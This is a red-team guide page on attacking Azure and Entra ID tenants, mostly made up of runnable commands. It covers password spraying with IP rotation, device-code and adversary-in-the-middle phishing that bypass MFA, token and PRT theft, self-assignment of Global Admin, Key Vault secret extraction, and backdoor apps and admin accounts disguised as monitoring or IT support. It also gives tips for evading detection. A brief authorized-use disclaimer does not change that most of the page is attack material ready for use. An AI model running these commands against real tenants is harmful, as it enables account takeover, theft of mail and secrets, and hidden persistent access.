azure-entra

03 — Azure / Entra Attacks

BLUF: Azure and Entra ID (formerly Azure AD) are the identity backbone of the modern enterprise. Every Office 365 tenant, Teams deployment, SharePoint environment, and Azure workload authenticates through Entra. Compromising an Entra ID account — especially a Global Admin, Application Admin, or privileged managed identity — grants access to the entire Microsoft ecosystem. This guide covers attack paths from credential access through tenant dominance, with a focus on techniques that work in real enterprise environments in 2025/2026.

Note

Sections

  1. Initial Access — Entra Credential Sources · 2. Enumeration — Tenant & Identity Recon · 3. Token Theft & Abuse · 4. PRT (Primary Refresh Token) Attacks · 5. Application & Service Principal Abuse · 6. Entra ID Role Privilege Escalation · 7. Azure Resource Attacks (VMs, Storage, Key Vault) · 8. Persistence in Entra ID · 9. Azure OPSEC & Logging Awareness · 10. Quick-Reference Cheat Sheet
Important

Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.

Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.

Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.

CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

graph TB
    InitAccess([Initial Access\nPhish / Spray / Token Theft]) --> TenantEnum[Tenant Enumeration\nAADInternals / Graph API]
    TenantEnum --> TokenAbuse[Token Theft\nPRT / OAuth / FOCI]
    TenantEnum --> AppAbuse[App / SP Abuse\nClient Secret / Cert]
    TokenAbuse --> GraphAccess[Microsoft Graph API Access]
    AppAbuse --> GraphAccess
    GraphAccess --> PrivEsc[Entra Role PrivEsc\nGlobal Admin]
    GraphAccess --> DataAccess[Data Access\nMail / Teams / SharePoint]
    PrivEsc --> Persist[Persistence\nBackdoor SP / New Admin]
    style InitAccess fill:#ff6600
    style PrivEsc fill:#cc0000,color:#ffffff

MITRE ATT&CK Mapping

Technique ID Name Tactic Where Used
T1528 Steal Application Access Token Credential Access OAuth / OIDC token theft
T1111 Multi-Factor Authentication Interception Credential Access Adversary-in-the-middle phishing
T1550.001 Application Access Token Lateral Movement Stolen token reuse
T1649 Steal or Forge Authentication Certificates Credential Access PRT / ADCS certificate abuse
T1098.003 Additional Cloud Roles Persistence New admin role assignments
T1136.003 Cloud Account Persistence Backdoor service principal
T1087.004 Cloud Account Discovery Discovery Entra user/group enumeration

Section 1 — Initial Access: Entra Credential Sources

1.1 Password Spray (Low-and-Slow)

Microsoft's Smart Lockout triggers after ~10 failed attempts per account. Spray one password across many accounts, wait 30+ minutes between rounds.

# MSOLSpray — targeted at Microsoft Online (O365/Entra):
# github.com/dafthack/MSOLSpray

Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray \
    -UserList .\users.txt \
    -Password "Summer2024!" \
    -Delay 35 \
    -Verbose

# TREVORspray — supports proxy rotation to bypass Smart Lockout per-IP tracking:
# github.com/blacklanternsecurity/TREVORspray
python3 trevorspray.py \
    -u users.txt \
    -p "Welcome1!" \
    --delay 35 \
    --proxy socks5://proxy1:1080 \
    --proxy socks5://proxy2:1080

# FireProx — rotates source IPs via AWS API Gateway for spray:
# github.com/ustayready/fireprox
python3 fire.py --create --url https://login.microsoftonline.com
# Returns a rotating API Gateway URL for each spray attempt

1.2 Device Code Phishing (No Password Needed)

# Device Code auth flow: attacker initiates auth, victim completes it
# Victim's browser — no credentials extracted by attacker — works against MFA

# Step 1: Request device code
curl -s -X POST \
    "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
    -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default"

# Response contains: user_code, device_code, verification_uri
# Send user_code + verification_uri to victim (phishing email / message)

# Step 2: Poll for token (victim authenticates in their browser)
curl -s -X POST \
    "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<device_code>"

# When victim completes auth: returns access_token, refresh_token — full MFA bypass

# Automated tool: TokenTactics
# github.com/rvrsh3ll/TokenTactics
Import-Module TokenTactics
Get-AzureToken -Client MSGraph
# Handles polling + token extraction automatically

1.3 AiTM Phishing (Adversary-in-the-Middle)

# Evilginx / Modlishka — proxy-based phishing that captures session cookies after MFA
# Victim authenticates legitimately (passes MFA), attacker captures the session cookie

# Evilginx (github.com/kgretzky/evilginx2):
# 1. Configure phishlet for Microsoft 365
# 2. Create phishlet URL pointing at attacker server
# 3. Victim authenticates: MFA token consumed, session cookie captured

# After capture: import the session cookie into browser
# Works with: all MFA types EXCEPT hardware FIDO2 keys

Section 2 — Enumeration: Tenant & Identity Recon

2.1 Unauthenticated Tenant Reconnaissance

# Confirm if a domain uses Microsoft/Entra ID:
curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq .

# Get Tenant ID from domain:
curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq -r '.issuer'
# Format: https://sts.windows.net/<TENANT_ID>/

# Alternative:
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@<domain>&xml=1"

# Check login type:
# NameSpaceType = Managed → Entra ID natively managed
# NameSpaceType = Federated → SSO (ADFS, Okta, Ping)
# Federated tenants: the federation endpoint is a valuable target

2.2 User Enumeration (Unauthenticated)

# O365 user enumeration — check if email exists (doesn't require valid creds):
# Method 1: autodiscover endpoint
curl -s -X POST \
    "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
    -H "Content-Type: text/xml" \
    -d '<?xml version="1.0"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">...'

# Method 2: credential spray response analysis
# Valid user + wrong password → AADSTS50126 (bad password)
# Invalid user → AADSTS50034 (user does not exist)

# NameSpaceType check for existence:
curl "https://login.microsoftonline.com/getuserrealm.srf?login=target@domain.com"
# Returns ThrottleStatus / IfExistsResult indicating account existence

2.3 Authenticated Enumeration (AADInternals / Graph API)

# AADInternals PowerShell module — most complete Entra recon tool:
# github.com/Gerenios/AADInternals

Install-Module AADInternals -Force
Import-Module AADInternals

# Authenticate:
$token = Get-AADIntAccessTokenForMSGraph
# (opens browser for login OR accepts stolen access/refresh token)

# Enumerate users, groups, roles:
Get-AADIntUsers | Select-Object UserPrincipalName, DisplayName, ObjectId | Out-GridView
Get-AADIntGroups | Select-Object DisplayName, ObjectId
Get-AADIntDirectoryRoles   # Shows who has Global Admin, etc.

# Check your own permissions:
$token | Read-AADIntAccesstoken
# Microsoft Graph API direct queries:
TOKEN="<access_token>"

# List users:
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/users" | jq '.value[] | {displayName, userPrincipalName, id}'

# List groups:
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/groups" | jq '.value[] | {displayName, id}'

# Get role assignments (who is Global Admin?):
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/directoryRoles" | jq '.value[] | {displayName, id}'

# Get members of Global Administrator role:
ROLE_ID="62e90394-69f5-4237-9190-012177145e10"  # Global Admin role ID
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/directoryRoles/$ROLE_ID/members" \
    | jq '.value[] | {displayName, userPrincipalName}'

Section 3 — Token Theft & Abuse

3.1 Token Cache Locations

# On a compromised Windows endpoint: tokens cached in multiple locations

# Azure CLI token cache:
%USERPROFILE%\.azure\msal_token_cache.json    # ~/.azure/msal_token_cache.json (Linux)
%USERPROFILE%\.azure\accessTokens.json         # Older az CLI

# PowerShell Az module:
%USERPROFILE%\.Azure\TokenCache.dat

# Teams client token:
%LOCALAPPDATA%\Microsoft\Teams\storage.json    # May contain auth tokens

# Browser (Edge/Chrome) — Office 365 session cookies:
# Use SharpChromium or CookieExtract for Chrome cookie extraction

# Office 365 COM token via MSAL:
# Extract with TokenTactics or Roadtools

3.2 FOCI (Family of Client IDs) Token Reuse

Microsoft has a "Family of Client IDs" — a list of first-party Microsoft apps that share refresh tokens. If you steal a refresh token from one, you can use it to get access tokens for other apps in the family.

# Common FOCI client IDs (can all share the same refresh token):
# d3590ed6-52b3-4102-aeff-aad2292ab01c → Microsoft Office
# 04b07795-8ddb-461a-bbee-02f9e1bf7b46 → Azure CLI  
# 1950a258-227b-4e31-a9cf-717495945fc2 → Microsoft Azure PowerShell
# 00b41c95-dab0-4487-9791-b9d2c32c80f2 → Office 365 Management

# Use refresh token from one app to get access token for another:
curl -s -X POST \
    "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "grant_type=refresh_token&client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46&refresh_token=<stolen_refresh_token>&scope=https://management.azure.com/.default"

# TokenTactics handles FOCI automatically:
Import-Module TokenTactics
$token = Get-AzureToken -Client MSTeams  # Steal Teams token
RefreshTo-AzureCoreManagementToken -Domain contoso.com -RefreshToken $token.refresh_token
# Now you have an Azure management token from a Teams refresh token

Section 4 — PRT (Primary Refresh Token) Attacks

The PRT is the crown jewel of Windows SSO. It's a long-lived refresh token stored on the device that allows SSO to all Entra ID apps without re-authentication.

4.1 PRT Extraction

# PRT is stored in LSASS (on domain-joined or Entra-joined devices)
# Requires: local admin or SYSTEM on the target Windows device

# ROADtoken — extract PRT from Windows (requires System context):
# github.com/dirkjanm/ROADtools

# Method 1: Via Mimikatz (if Credential Guard is off)
mimikatz # sekurlsa::cloudap

# Method 2: Via SharpDPAPI (DPAPI-based PRT extraction):
# github.com/GhostPack/SharpDPAPI
.\SharpDPAPI.exe triage
# Look for: "Enterprise PRT"

# Method 3: Via BrowserGhost (from browser profile):
# github.com/tothi/browserGhost
.\browserGhost.exe --browser edge

4.2 Using a Stolen PRT for SSO

# RequestAADRefreshToken — convert PRT to refresh token for any Microsoft app:
# github.com/leechristensen/RequestAADRefreshToken

.\RequestAADRefreshToken.exe -clientID d3590ed6-52b3-4102-aeff-aad2292ab01c -tenantID <tenant_id>
# Opens browser with PRT-based SSO → no MFA required → captures tokens

# AADInternals:
$prtCookieValue = "<prt_sso_cookie>"
Get-AADIntAccessTokenForMSGraph -PRTCookie $prtCookieValue

Section 5 — Application & Service Principal Abuse

5.1 Find Over-Privileged Applications

# Applications with Graph API permissions are common PrivEsc paths

# List all app registrations:
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/applications" | jq '.value[] | {displayName, id, appId}'

# Get permissions for an app:
APP_ID="<app-object-id>"
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/applications/$APP_ID" \
    | jq '.requiredResourceAccess'

# Service Principals (enterprise apps — instantiated apps in your tenant):
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/servicePrincipals" \
    | jq '.value[] | select(.appRoles | length > 0) | {displayName, appRoles}'

5.2 Add Credentials to Existing Application

# If you have Application.ReadWrite.All or AppRoleAssignment.ReadWrite.All:
# Add a client secret to an existing privileged app → authenticate as that app

APP_OBJECT_ID="<target-app-object-id>"

# Add a new secret (password credential):
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    "https://graph.microsoft.com/v1.0/applications/$APP_OBJECT_ID/addPassword" \
    -d '{"passwordCredential": {"displayName": "backup-key", "endDateTime": "2027-01-01T00:00:00Z"}}'
# Returns: secretText — the new client secret

# Authenticate as the app:
curl -s -X POST \
    "https://login.microsoftonline.com/<tenant_id>/oauth2/v2.0/token" \
    -d "grant_type=client_credentials&client_id=<app_id>&client_secret=<new_secret>&scope=https://graph.microsoft.com/.default"

5.3 Managed Identity Abuse (from Azure VM/Container)

# On a compromised Azure VM with a Managed Identity assigned:

# Get access token via Azure Instance Metadata Service (IMDS):
TOKEN=$(curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
    | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Use token to call Graph API:
curl -s -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/me"

# Get Azure management token:
MGMT_TOKEN=$(curl -s -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
    | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# List Azure resources accessible to this managed identity:
curl -s -H "Authorization: Bearer $MGMT_TOKEN" \
    "https://management.azure.com/subscriptions?api-version=2022-12-01"

Section 6 — Entra ID Role Privilege Escalation

6.1 Find PrivEsc Paths — AzureHound

# AzureHound — BloodHound collector for Azure/Entra
# github.com/BloodHoundAD/AzureHound

./azurehound -u user@domain.com -p "Password" list all -o output.json

# Import output.json into BloodHound and run pre-built Azure attack queries:
# "Shortest path to Global Administrator"
# "Service principals with Privileged Role Administrator rights"

6.2 Privilege Escalation via Delegated Permissions

# If your compromised account/SP has privileged delegated Graph API permissions:

# RoleManagement.ReadWrite.Directory → Assign any Entra role to yourself
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
    -d '{
        "principalId": "<your-object-id>",
        "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
        "directoryScopeId": "/"
    }'
# roleDefinitionId: 62e90394-69f5-4237-9190-012177145e10 = Global Administrator

# Application.ReadWrite.All → Add yourself as app owner → add high-priv credentials
# GroupMember.ReadWrite.All → Add yourself to privileged groups

6.3 Abuse of Privileged Roles

# Application Administrator can:
# - Create new app registrations
# - Add credentials to existing apps (including high-privilege service principals)
# - Assign application roles

# Cloud Application Administrator — same as above minus Entra Connect

# Privileged Role Administrator can:
# - Grant any role to any user (including Global Admin)
# - This is the direct PrivEsc to Global Admin

# User Administrator can:
# - Reset passwords of non-admin users
# - Useful for taking over accounts

# Global Admin → Crown jewels:
# - Read/reset any user's password
# - Access any SharePoint site, Teams, mailbox
# - Register BYOD devices (useful for PRT-based persistence)
# - Full Azure AD control

Section 7 — Azure Resource Attacks

7.1 Key Vault Access

# Key Vault stores secrets, keys, certificates — high-value target
# Requires: Key Vault specific permissions (not just Azure RBAC)

# List Key Vaults in subscription:
az keyvault list --query "[].{name:name, id:id}"

# List secrets in a Key Vault:
az keyvault secret list --vault-name <vault-name>

# Get secret value:
az keyvault secret show --vault-name <vault-name> --name <secret-name>

# If RBAC: check if you have 'Key Vault Secrets Officer' or 'Key Vault Administrator'
az role assignment list --all | grep -i "key vault"

7.2 Storage Account Access

# Storage Account contains Blob Storage (S3 equivalent), File Shares, Tables, Queues

# List storage accounts:
az storage account list --query "[].{name:name, resourceGroup:resourceGroup}"

# Get storage account keys (if Storage Account Contributor or Owner):
az storage account keys list --account-name <storage-name> --resource-group <rg>

# Use key to access blobs:
az storage container list --account-name <storage-name> --account-key <key>
az storage blob list --account-name <storage-name> --container-name <container> --account-key <key>
az storage blob download --account-name <storage-name> --container-name <c> --name <blob> --account-key <key> --file /tmp/loot

7.3 VM Command Execution (Run Command)

# If you have 'Virtual Machine Contributor' or 'Contributor' on a VM:
# Run commands on the VM without SSH/RDP access

az vm run-command invoke \
    --resource-group <rg> \
    --name <vm-name> \
    --command-id RunShellScript \
    --scripts "whoami && cat /etc/passwd"

# Windows VM:
az vm run-command invoke \
    --resource-group <rg> \
    --name <vm-name> \
    --command-id RunPowerShellScript \
    --scripts "whoami; Get-LocalGroupMember -Group Administrators"

# Retrieve IMDS credentials from VM (if it has a managed identity):
az vm run-command invoke \
    --resource-group <rg> --name <vm-name> \
    --command-id RunShellScript \
    --scripts "curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])'"

Section 8 — Persistence in Entra ID

Create Backdoor Application (Service Principal)

# Create a new app registration with high-privilege Graph API permissions

# 1. Create app registration:
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    "https://graph.microsoft.com/v1.0/applications" \
    -d '{
        "displayName": "Microsoft Monitoring Agent",
        "signInAudience": "AzureADMyOrg",
        "requiredResourceAccess": [{
            "resourceAppId": "00000003-0000-0000-c000-000000000000",
            "resourceAccess": [
                {"id": "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8", "type": "Role"},
                {"id": "62a82d76-70ea-4ab4-9e51-1fca78697a27", "type": "Role"}
            ]
        }]
    }'

# 2. Add a client secret:
# (see Section 5.2)

# 3. Grant admin consent for the permissions:
curl -s -X POST \
    -H "Authorization: Bearer $TOKEN" \
    "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
    -H "Content-Type: application/json" \
    -d '{"clientId":"<sp-object-id>","consentType":"AllPrincipals","resourceId":"<graph-sp-id>","scope":"RoleManagement.ReadWrite.Directory"}'

# Now use client ID + secret to authenticate as this app persistently

Add Backdoor Global Admin

# If Global Admin: create a new Global Admin account
# (less noisy than modifying existing accounts)

# Via AADInternals:
New-AADIntUser -UserPrincipalName "support@domain.com" \
    -DisplayName "IT Support" \
    -Password "P@ssw0rd123!" \
    -GlobalAdmin

# Via Graph API:
curl -s -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
    "https://graph.microsoft.com/v1.0/users" \
    -d '{"accountEnabled":true,"displayName":"IT Support","mailNickname":"support","userPrincipalName":"support@domain.com","passwordProfile":{"forceChangePasswordNextSignIn":false,"password":"P@ssw0rd123!"}}'

# Then assign Global Admin role to new account

Section 9 — Azure OPSEC & Logging Awareness

What Azure Monitor / Defender for Cloud Sees

Action Log Location Default Alert?
Password spray (failed logins) Entra Sign-in logs Yes — Identity Protection
New app registration Entra Audit logs No
Role assignment change Entra Audit logs Yes — Privileged Identity Management
Access token issued Entra Sign-in logs Sometimes
Key Vault secret access Key Vault diagnostic logs If enabled
VM run-command Azure Activity log Yes
New user creation Entra Audit logs No
Service principal credential added Entra Audit logs Defender for Cloud (if enabled)

OPSEC Techniques

# 1. Check if Microsoft Defender for Identity is enabled (on-prem hybrid):
# Look for "Azure ATP" or "Defender for Identity" sensors on DCs
# Defender for Identity alerts on: Golden Ticket, DCSync, lateral movement

# 2. Check Entra Identity Protection policies:
# High-risk sign-in = suspicious country, anonymous IP, or leaked credentials
# Will prompt MFA or block if Conditional Access policy exists

# 3. Use the Azure CLI from a clean IP (US-based residential or matched to target geo)
# Sign-in location anomaly is a common alert trigger

# 4. Prefer service principal auth over user auth when possible:
# User auth generates sign-in events visible in Entra
# Application auth (client credentials flow) generates less scrutinized audit events

# 5. Check if PIM (Privileged Identity Management) is enabled:
# PIM requires activation of privileged roles — alerts when activation occurs
# If PIM is on: being added as Global Admin is visible even before you activate the role

# 6. Defender for Cloud Apps (MCAS) monitors:
# Impossible travel, mass downloads from SharePoint, unusual Graph API access
# Use slow, business-hours only access patterns to evade anomaly detection

Section 10 — Quick-Reference Cheat Sheet

# Tenant reconnaissance (unauthenticated)
curl "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq -r '.issuer'
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@domain.com&xml=1"

# Token acquisition
Import-Module TokenTactics
Get-AzureToken -Client MSGraph                    # Device code phishing

# Authenticated enumeration
aws sts get-caller-identity                        # (for reference; Azure equivalent:)
az account show                                    # Azure CLI identity check
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/me
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/users
curl -H "Authorization: Bearer $TOKEN" https://graph.microsoft.com/v1.0/directoryRoles

# FOCI token pivot
RefreshTo-AzureCoreManagementToken -Domain contoso.com -RefreshToken $rt

# Managed Identity (from Azure VM)
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"

# AzureHound (BloodHound for Azure)
./azurehound -u user@domain.com -p "Password" list all -o output.json

# Key Vault
az keyvault list
az keyvault secret list --vault-name <name>
az keyvault secret show --vault-name <name> --name <secret>

# VM command execution
az vm run-command invoke --resource-group <rg> --name <vm> --command-id RunShellScript --scripts "whoami"

# Persistence — backdoor app
curl -X POST -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/applications" -d '{"displayName":"IT Monitoring",...}'

Key tool reference:

Tool Purpose Link
TokenTactics Token manipulation, device code phishing github.com/rvrsh3ll/TokenTactics
AADInternals Comprehensive Entra attack framework github.com/Gerenios/AADInternals
AzureHound BloodHound for Azure/Entra github.com/BloodHoundAD/AzureHound
ROADtools Entra enumeration + token handling github.com/dirkjanm/ROADtools
PACU AWS exploitation (for comparison) github.com/RhinoSecurityLabs/pacu
MSOLSpray O365 password spray github.com/dafthack/MSOLSpray
TREVORspray Spray with proxy rotation github.com/blacklanternsecurity/TREVORspray
GraphRunner Post-compromise Graph API ops github.com/dafthack/GraphRunner

Part of the Red Teaming 101 series. Parent: P5 — Cloud Attack · See also: AWS Attack Paths